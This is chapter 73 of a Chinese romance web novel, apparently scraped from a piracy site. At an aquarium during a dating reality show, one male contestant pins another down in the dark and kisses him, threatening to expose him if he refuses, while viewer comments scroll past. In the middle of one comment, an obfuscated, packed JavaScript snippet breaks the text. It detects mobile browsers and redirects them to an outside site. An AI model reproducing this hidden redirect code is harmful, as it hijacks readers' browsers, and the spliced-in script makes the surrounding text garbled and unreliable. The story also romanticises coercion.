第73章以直播名义贴贴
【就再亲一下】
谢钰京大致搞懂了所谓的“期望互动玩法。
言简意赅就是,节目组通过这个特定玩法，给观众分享了一部分节目组的权限——相当于给嘉宾颁布约会任务，会给观众更多的体验感和参与感,有“恋爱指导的既视感。
为了得到这个机会，观众几乎是八仙过海各显神通。
但很显然，同等条件下,运气也是很重要的因素。
最后抢到机会的明显是咒语cp粉。
因为她选择的期望互动是——“亲吻。
无暇搭理当时小屋里的奇怪寂静，谢钰京在得知这个任务的时候就已经开始恶毒规划，该怎么在镜头底下狠狠羞辱黎舟言。
景煜留在小屋替谢钰京观察其他嘉宾的反应，这会是一个非常好的机会。
不过问题是。
谢钰京会觉得有点点丢脸。
亲吻是比拥抱还要亲密的行为,谢钰京对此可以说毫无抵抗力。
他就是喜欢抱抱、喜欢亲亲,喜欢这样那样,喜欢狠狠地从无辜的人身上汲取他需要的温度和亲密感，像树懒八爪鱼抱脸虫一样狠狠抱在别人的身上脸上,用自己的体温覆盖他们的口鼻,根本不管他们怎么想、怎么抗拒，怎么崩溃。谢钰京就是这样自私恶毒的人！
——像整理室那样私下的场合，谢钰京的确可以随便来,毕竟黎舟言又没有这个胆子到处宣扬。
他只要不说，谁会知道？
谢钰京甚至还可以在索求无度的亲亲结束之后继续威胁，树立自己的威信,从此黎舟言见到他就胆战心惊不敢言语。
但如果在镜头底下……
就完全不一样。
谢钰京焦虑到抱住脑袋。
想到会有很多人隔着屏幕审视谢钰京亲亲的样子,视线透过镜头X光一样窥伺观察,甚至也许还会写一大段文字审判谢钰京的接吻方式和表情。
谢钰京就开始头皮发麻。
那不可以……！
谢钰京真的会觉得很丢脸。
呜呜。
怎么办。
他又兴奋又狼狈,有点心跳加速、有点担心，像恶魔听到可以吃一口人类美味灵魂一样有点贪婪的饥渴感。
他忍不住狠狠地转头看了一眼黎舟言。
都是他的错。
谢钰京烦躁地盯着他，嘴巴张开,怨气很重的声音哀哀愤愤响起：“黎舟言……
黎舟言被他看得露出温和的微笑：“嗯？
“讨厌你。
黎舟言却有些意外地扬起眉梢，嘴角的笑弧更深了一点点。
“谢谢？
“…
…”
*
约会地点在水族馆。
馆内有地下隧道有全景的玻璃窗可以观赏鱼类。
这里漂亮极了谢钰京暂时性地抛开焦虑。
他按在坚硬玻璃上幽蓝色深处有模糊的巨物影子他说“要是这个忽然破掉的话我们都要喂鱼了。”
有些梦幻的蓝色光波轻盈掠动在他脸上睫毛纤长的影子落在下眼睑。
黎舟言跟在他的后面手里拿着谢钰京的水杯拧上盖塞回背包里。
他顺着谢钰京的视线看向玻璃又转头看谢钰京视线隐匿在眼窝的阴影里静谧、没有什么重量温柔到甚至不会让谢钰京察觉到自己在被注视。
谢钰京忽然转过头。
“要是真的有这时候鱼会在我们两个面前摇摆不定不知道该吃谁。”
他嘴角勾了下恶劣道。
“你会被我一脚踹去喂鱼然后我借力游出水面。不过我也不会忘记你的功劳的！我会和大家说你是自愿为我牺牲还会说我拼尽全力拯救你没能成功没有人知道你枉死大家都会歌颂我们的美好爱情。”
黎舟言覆着眼皮静静注视他轻笑了声“那很善良。”
谢钰京：“？”
——谢钰京知道他们喜欢他吗。
知道他说的话
黎舟言侧脸在蓝色的光线中被雕刻出怪异的深邃。
也许他在奇怪的被异化的畸形感情里包围太久丧失了基本的感知力。
对他再好谢钰京都不觉得奇怪。
为他争执谢钰京早已习惯。
哪怕是最亲密的距离恐怕谢钰京也……
和谢钰京出来的时候他的态度总是自然得不像话。任何打破界限的行为都不会显得过于暧昧。
比如靠近比如手按在他的肩膀上比如低头看他的时候他正好抬眼。谢钰京不会觉得这些行为奇怪他是一个缺乏界限感的人有怪物般的纯稚。
和他约会的人却会被迫陷入一种奇怪的幻境。
就好像真的在和他约会就好像他真的是自己的男朋友。
谢钰京看着自己贴在玻璃上的手。
小鱼贴过来在他的手心钻来钻去。
“你好像很喜欢这里。”黎舟言说。
“比起看我还是更喜欢吃。”谢钰京怪笑两声盯着玻璃里的小水母幽幽地回答“凉拌水母味道还不错。”
他说着转头看着他“我哥以前也带我来过这里。”
作为家人来水族馆海洋馆一类的地方是完全合理的黎舟言没有觉得哪里不对。
谢钰京转头看着玻璃的隧道。
“当时我就很好奇水母
没有心脏他们是怎么活下去的靠科研数据很难想象；就算设身处地潜入海里也无法想象他们的生活方式。在海洋里心脏会在压强之下有更压抑更明显的勃动能察觉到大海在凝视、在抗拒人类的靠近。”
黎舟言看着他。
谢钰京没有察觉到他的视线。他歪了下头
“有时候觉得这里像是另一个世界的入口我们无法继续探索的大海连潜水艇都到不了的最深处是不是真的有另一个种族存在？水母没有心脏章鱼有九个大脑这些动物听起来和人类完全不在一个生态系统里。他们这么特别、却这么弱小虾兵蟹将一样被人类捕捞、咀嚼、食用。会不会他们只是另一个系统里最弱小的生物……在最深最黑的地方连探测器都无法了解的地方会不会有更奇怪、更可怕、更聪明的存在冷冰冰地嘲笑我们竭力探索只观察到百分之一的海洋。”
他的手按在玻璃上。
手上的热度很快在玻璃上洇开一个手掌的轮廓雾气。
……
黎舟言可以接话他擅长接话擅长引导话题擅长让别人感到自己在和他交心。
但他难以言语。
他在后面看着谢钰京。看他、看他模糊的影子、看银色的蓝色的漂亮的小鱼在谢钰京好奇靠近的时候开始甩尾游过来。
谢钰京眼眸黝黑映着一点点光静静注视着围绕他的小鱼。他晃动手指笨笨的小鱼像魔法棒的细砂一样跟随着他。
隧道的风吹起他的头发衣角。
让他看起来也像置身在水里。
像美丽水母的同族。
黎舟言只是看着他就觉得他很神秘、很遥远以至于让他感觉到一种强劲的吸力、广袤的恐惧。
他没有深入过海洋。
但是这一瞬间体会到了谢钰京说的感觉。和心脏加速不太相同的在某种奇怪的压强中加速的勃动感。是很沉闷的。
也许谢钰京说的是对的也许就像水母和人类不同一样他和他们也不共用一个生态系统。他是深海中变异的怪物有隐形的触足危险的粘液第二双看人的眼睛。
这样湿淋淋地上了岸懵懂、无知合理的迟钝。以人类的样子靠近他们却无法和人类完全相似。
是纯粹的、美丽的可怕的怪物。
这瞬间黎舟言能察觉到一种强烈的欲望。
想拥抱的欲望。
用紧紧的拥抱来扼住慌乱感受心跳共振感受谢钰京存在。打断他的思考恐惧他找到回家的方向、从此在他们的世界里消失。
谢钰京转头看他。
侧脸鼻尖睫毛都被渡上蓝
色的光晕。
“那时候我问哥哥。”
“大家都说我很特别，是什么意思；是不是我也像水母、章鱼一样，在生理构造上就和他们不一样，是不是我进了海里就会长出鱼鳃呼吸，是不是我也有第二个大脑思考。”
谢钰京小时候是问题很多的小孩，会喋喋不休。很吵人。
他的家人们往往会耐心地听。但谢钰京有时候会不记得到底和谁说了。导致爸妈和哥哥经常要交换证词，免得下次被谢钰京逮到的时候说不出他想听的话被谢钰京发脾气。
谢钰京问他：“你有想过这些吗？”
“没有。”黎舟言回神，他沉默了下，狭长的眼眸眯起，静静看向隧道的半弧形墙面，“事实上，我是想象力匮乏的人。”
在强压式的教育下，黎舟言被框定在瓶子里。他的灵魂也许还在溢出，但已经失去感知的能力。他也许是社会化最成功的人类，也是最死板的人类。
如果不是谢钰京这么说，黎舟言永远想象不到这个世界上还有人会这么想。
他的世界绮丽，充满想象力。
而黎舟言只能看着海，想到海；看着鱼，想到鱼；看到美，赞叹美，描绘美。
导师说他的画作空有技巧，没有灵魂。
黎舟言一直知道是这样，但在谢钰京的身边时，会有更为强烈的感觉。
“可以抱一下吗？”
黎舟言忽然回头，微笑着看着他，声音却有些沙哑。
谢钰京有些意外。
他表情不解。但实际上在这种亲密接触的问题上，答案是显而易见的。
黎舟言才刚说完，他就已经下意识地抬起两只手，口里的问题在摆好等待被拥抱的姿势之后才迟钝地问出口。
“为什么？”
黎舟言没有回答，只是急促靠近两步，俯身抱住他。
用力地拥抱，压制内心不断翻涌的焦躁和不安。
高大的身体在背后的森*晚*整*理蓝色幕布中被压挤虚化。他手臂锁紧，脸往下埋进谢钰京的颈窝。缠绵的香气包围他，驱赶他的不安。
**该怎么描述自己的无力。
他的空洞。
他的匮乏。
如果不是谢钰京需要，他们将无法靠近他。
谢钰京稍微转过头，就会看到黎舟言的手搂按在他的肩膀上。
他确实很想贴贴，何况黎舟言还这么笨，把理由直接递给了谢钰京。谢钰京心里坏得要冒泡儿了，装好人的时候都不自觉地流露吝啬，咕哝，“好吧，只准抱一会儿。”
黎舟言手背青筋暴起明显至极，谢钰京却没怎么感觉到痛，只是一股巨大到可怕的力道把他包裹住。
他放松下来，把脑袋搁在
黎舟言的肩膀上蹭了蹭。
黎舟言的呼吸一瞬不稳，手掌紧紧搂着谢钰京的后腰、肩胛骨。感受他的温度、骨骼。酥麻的电流感从接触的胸腔砰砰传导。
很快，他感觉到谢钰京的力气开始变小。呼吸开始急促起来。
一开始吝啬地批准别人拥抱他，还定规矩说“只准抱一会儿的人现在已经有点想出尔反尔。
黎舟言用侧脸轻轻蹭谢钰京的发顶。
漂亮男生有些迟钝地转过脸看他。
黎舟言呼吸不自觉地急促了下。
他察觉到谢钰京的目光混沌湿泞，仿佛带有一种湿黏的实质性，一点点地挪动黏在他的嘴唇上。
静静、静静地，看着自己的猎物。
透露出一种直白的湿黏的不易摆脱的病态兴奋感。
他瞬间紧绷。
“今天不是有亲亲任务吗？
谢钰京忽然说。
“要不要亲一下。
【等等啊！！宝宝，这不对吧，这不对吧？？】
【虽然我知道鱼咪就是这么善良喜欢奖励别人，但是这种奖励程度是不是太超过了！】
【崩溃中，我家的乖乖咪怎么可以。。】
【找到了咪对新嘉宾特别更让我崩溃的事情，一下子看景煜都很顺眼了】
【啊啊啊啊亲！快点亲！！（爆鸣）】
【是伸舌头的那种吗。。宝宝。。】
【不敢想小屋里的留守嘉宾会有多崩溃】
“……黎舟言的声音有些沙哑，“在这里？
他道。
“这里有镜头。
谢钰京当然知道。
他的视线斜斜扫了一眼镜头，眉毛蹙起，脸往后躲了下。
黎舟言松了口气，柔和深邃的面容带着笑意，“没关系，不用现在就完成，我们可以再拖延一下。
他准备松开谢钰京扶他站稳。
就感觉到衣领被拉近，被迫向谢钰京靠近。谢钰京漆黑的眼看着他，缓慢对他露出有些浑噩的笑，“不难办。
湿热的呼吸一扑。
黎舟言的气息猛地停滞住。
脸颊一热。
谢钰京亲在他的脸上。
湿润的吻，轻盈地印上去，像给他盖了章。
【啊啊啊！！咪这根本就是调情啊和调情有什么区别！！】
【好爽，，好爽，，心尖都麻了一下，怎么仿佛亲到了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15465139|158382||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我的脸上】
【酸涩中感到一丝丝庆幸，还好没亲到嘴巴上，我们咪这么纯情一点都不懂亲嘴子】
*
善良的谢钰京只是用脸颊吻给黎舟言打了一个预防针，免得他到时候挣扎的幅度太过，让观众察觉到不对。
玻璃廊道越往后走越黑，越走下去，越有些令人恐惧的深邃
感。空荡的走廊，只有脚步声在回荡着。这里只有他们两个人，谢钰京的脚步声很轻，他低头安静听着自己的脚步声，心跳有胶湿的轻微烦闷感。
他在等。等一个机会。
快走到廊道尽头的时候最黑。谢钰京找准时机，伸手把黎舟言的手机叩下去，黑暗中最后的光亮也湮灭。
“砰！
还在那个脸颊吻里沉浸、没有回过神的男人蓦地醒过来，“钰京，等等，你——
肩膀被撞了一下。他踉跄地往后倒，手狼狈撑住玻璃，但紧跟着压上来的重量，让他下意识松开手去抱他的腰。
急促的短音闷进空气里。
随后是急促的呼吸和砰砰的心跳。在观众角度却完完全全是一片黑暗，什么都看不到。
谢钰京坐在黎舟言的腰上，有些狼狈地整个人趴在对方的身上。
他能感觉到黎舟言的抗拒，温柔人格的男生难得表现得有些紧绷和强硬。
他已经完全察觉到谢钰京的可怕之处了，谢钰京就是那种会随随便便亲别人的恶劣家伙大坏蛋。
男性宽大微冷的手掌拦在谢钰京的肩膀上，低喘着阻止他靠得更紧，另一只手试图抱着谢钰京的腰往上提。
谢钰京往下坐，强行把他的腿再次压了下去。不准他坐起身、不准他违抗自己的意志。
黎舟言闷哼一声，黑暗里他的声音嘶哑，显出些急促的慌乱，“钰京！
“在喊我？
谢钰京靠近，撑着他的肩膀，用气音警告他。
“小点声，这样所有人都会知道你在被我强迫。
谢钰京的手连茧子都没有。温热柔软，掰过他的脸，黑暗中发丝带着一股香味扫在黎舟言的脸颊上，黝亮眼睛在发丝间隙里直勾勾看着他。
他的气味织成一张细密的网。
隐约光线里，黎舟言被他看得头皮发麻。
谢钰京似乎还想说什么，但最后没说，也许觉得对黎舟言，他根本没有必要解释。
反正黎舟言不会懂，不会懂谢钰京是怎样的一个恶劣家伙，更不会懂谢钰京只是利用他们达成目的满足自己。他不在乎他们的想法，只要自己要做的事情达成。
黎舟言后背发麻，极端的狰狞预感扑到他的心脏攥紧。艳丽湿淋的水鬼浓墨重彩地融在空气里黑暗里每一个角落里，在这片海洋里，谢钰京的阴郁影子无处不在。
他别过头，闭上眼调整呼吸。
却在下一秒，蓦地听到谢钰京的笑声，很轻很轻地扩散在黑暗的空气中。
随后，一股浓热的香味靠近。
温热的手指抓着他的头发。细密的痒意从头皮开始扩散。
还没有反应过来，黎舟言感觉谢钰京的两腿一夹，把他抱得更紧。呼吸扑在他的鼻梁，脸颊一热。
有什么又软、又热，又湿润的东西匆匆贴了上来。
他的脑袋猛地震荡一下。
像寺庙的佛钟，摇摆着，荡开一层又一层的浪。
他握着谢钰京腰身的手不受控制地收紧。瞳孔骤然之间扩散，几乎是在这个又轻，又漫不经心，又恶劣的吻里，**一遭。
湿狞空气带着潮湿的热意，连接吻的动静黏腻的水响都小心翼翼。黑暗中的怪物野兽垂涎欲滴，黎舟言无法阻拦，也没想阻拦。
他觉得，他好像比谢钰京更需要这个吻，建立他和谢钰京之间的联系。
谢钰京亲得脸红耳赤，是敏感度高抵抗力却很差的样子。
黎舟言极力克制自己，刚准备离开就又会被细白手指拽着领子扯回来。
“再亲一下……”
谢钰京眼睛湿漉漉地看着他。白净的脸颊晕着潮红，视线虚散直直看着他。恶意浓稠的目光空茫一片。
“就一下。”
就一口，一口，最后一口。
如果景煜或者谢白洲在现场，应该会知道这只是谢钰京用来耍赖的简单把戏。他总是很贪心、不懂知足的人。
“不然我就现在把手机拿过来打开镜头，告诉所有人你在做坏事。”谢钰京用气音威胁他。
“你也不想颜面扫地吧？”
黎舟言心脏都没法跳动。
他实在没办法。虽然他一米八几，虽然他有健身习惯，但他现在躺在地上，被谢钰京坐在腰上，无法反抗。只能被迫仰起头，嘴唇贴合挪动，喉结吞咽的频率又轻又急，在任性恶劣小鬼的哺喂中**忍耐着。
他的视线凝在谢钰京发抖的湿润睫毛上。
从始至终，都没有闭过眼睛。
谢钰京……
虽然阈值很低，但又非常贪心。
明明被亲得浑身哆嗦抓着衣角的手都捏不稳，还要亲。空气里都是黏人的味道。谢钰京跪在他身上，吐着点湿溻溻的红舌头眯弯着眼睛要靠过来，要抱，要接吻，带一点痴.迷的混乱样子。
但能力和需求完全不匹配。
只是亲个嘴而已，腿都在打摆子，黎舟言的手贴上去还能感觉到他的紧绷和微抖的吸气，像是舒服到受不了了发出一点哽咽，无意识地轻轻蹭他。
“黎舟言……”
他低头看他，捧着黎舟言的脸。瞳孔在虹膜扩散。
这张脸漂亮得过头。
又青涩，又纯情，又邪恶，又有一种奇异的……感觉。
他眼珠慢慢转动，无意识地笑起来。脸颊的红晕扩散，发烫的侧脸熨在黎舟言的脸上贴近。呼吸，温度，共感的一切。谢钰京的脸颊软软地被挤扁，声音像从骨头里讲给他。
“最后一下，就一下。”魔鬼的声音。意味着这之后绝对不止一次。
黎舟言躺倒在冰冷坚硬的地面，手按在地板收紧再收紧，浑身的肌肉都绷紧。每次他试图开口，就又会被判定为拒绝，湿润的嘴唇会蛮不讲理地堵上。
挪一下，堵一下。
谢钰京打定了主意不让他开口。
怎么没有人和他讲过……他连强迫别人闭嘴的方式都可爱成这样。
软乎乎湿哒哒的嘴唇一下下地在黎舟言的嘴唇上滑动着，尖牙利齿咬着他的嘴唇磨。
手机早就不知道落到哪里。观众现在肯定有许许多多无端的猜测爆发，但他们都已经无暇顾及。